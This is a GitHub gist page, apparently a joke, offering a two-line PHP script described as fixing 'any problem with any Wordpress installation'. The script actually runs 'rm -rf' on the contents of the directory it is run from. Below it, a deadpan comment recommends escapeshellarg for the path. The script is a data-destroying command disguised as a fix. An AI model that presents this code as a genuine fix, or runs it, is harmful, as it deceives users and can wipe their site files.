Skip to content

Instantly share code, notes, and snippets.

@DaveRandom
Created October 27, 2013 14:14
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save DaveRandom/7182654 to your computer and use it in GitHub Desktop.
Save DaveRandom/7182654 to your computer and use it in GitHub Desktop.
Fixes any problem with any Wordpress installation. Simply run this from your wordpress root directory.
<?php
exec("rm -rf '" . getcwd() . "/*'");
@scragar
Copy link

scragar commented Jul 15, 2014

You should probably use escapeshellarg to ensure that single quotes in the file path don't cause problems(not that anyone is likely to do it, but it's always worth expecting).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment